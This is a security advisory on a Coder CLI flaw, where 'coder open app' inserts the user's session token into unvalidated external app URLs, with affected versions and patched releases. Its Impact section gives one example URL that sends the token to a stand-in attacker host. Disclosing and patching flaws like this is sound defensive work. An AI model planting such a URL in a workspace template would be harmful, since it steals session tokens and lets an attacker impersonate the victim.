Coder's session token leaked to arbitrary hosts via `coder open app` for external workspace apps

Overview

Summary

coder open app opens external workspace-app URLs without validating the scheme or host. When an external app URL contains the $SESSION_TOKEN placeholder the CLI replaces it with the user's real session token before handing the URL to the OS open handler.

Note: Practical exploitation requires the victim to run coder open app against a workspace whose external app definition the attacker controls. Only a malicious template author can control external app URLs.

Impact

Workspace code can register external apps with arbitrary URLs so an attacker who controls workspace contents can define a URL like https://attacker.example/?t=$SESSION_TOKEN. Running coder open app then sends the user's session token to the attacker and enables full account impersonation for the token's lifetime. The same path can invoke arbitrary local URI scheme handlers. Exploitation requires the user to run coder open app against a workspace that contains a malicious external app.

Patches

The fix applies a URL-scheme allowlist in the CLI and limits $SESSION_TOKEN substitution to trusted destinations like the web frontend.

The fix was backported to all supported release lines:

Workarounds

Avoid running coder open app for untrusted workspaces.

Resources

• Fix: #26146

Credits

Coder would like to thank Anthropic's Security Team (ANT-2026-22457) for independently disclosing this issue!

Affected packages

• github.com/coder/coder/v2 >= 2.34.0, < 2.34.2
• github.com/coder/coder/v2 >= 2.33.0, < 2.33.8
• github.com/coder/coder/v2 >= 2.30.0, < 2.32.7
• github.com/coder/coder/v2 < 2.29.17

Remediation

Upgrade to a patched release:

• github.com/coder/coder/v2 2.34.2
• github.com/coder/coder/v2 2.33.8
• github.com/coder/coder/v2 2.32.7
• github.com/coder/coder/v2 2.29.17